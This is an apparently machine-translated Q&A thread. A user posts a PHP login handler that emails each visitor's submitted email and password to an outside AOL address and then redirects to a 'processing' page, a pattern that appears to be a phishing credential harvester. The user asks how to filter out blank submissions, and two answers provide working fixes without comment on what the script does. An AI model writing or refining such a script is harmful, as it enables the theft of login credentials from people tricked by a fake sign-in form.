我有这个表单,我希望那些没有完成用户名/ passowrd表单的用户再次点击登录返回主页,完成那些提交的用户将在processing.htm发送出去。 这就是我现在的方式,即使字段是空白的,它也会将每个人重定向到处理状态。有什么机会让我能适应这个吗?
<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "myemail@aol.com";
mail($to, $subj, $msg, $From);{
echo ("<script>");
echo("window.location=\"processing.htm\"");
echo("</script>");
}
?>
谢谢
答案 0 :(得分:1)
您必须在加载处理时提供条件.htm
<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;
if(!(empty($userid) && empty($pass))){
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "myemail@aol.com";
mail($to, $subj, $msg, $From);
header("Location: http://yoursite.com/processing.htm");
}
else
{
header("Location: http://yoursite.com/homepage.php");
}
?>
答案 1 :(得分:0)
使用:
if(!empty($userid) && !empty($pass)){
// You have data
} else {
// The user didn't enter any data
}
然后,您可以使用PHP header()
函数重定向,而不是像以下那样依赖JavaScript:
header("Location: http://example.com/mypage.php");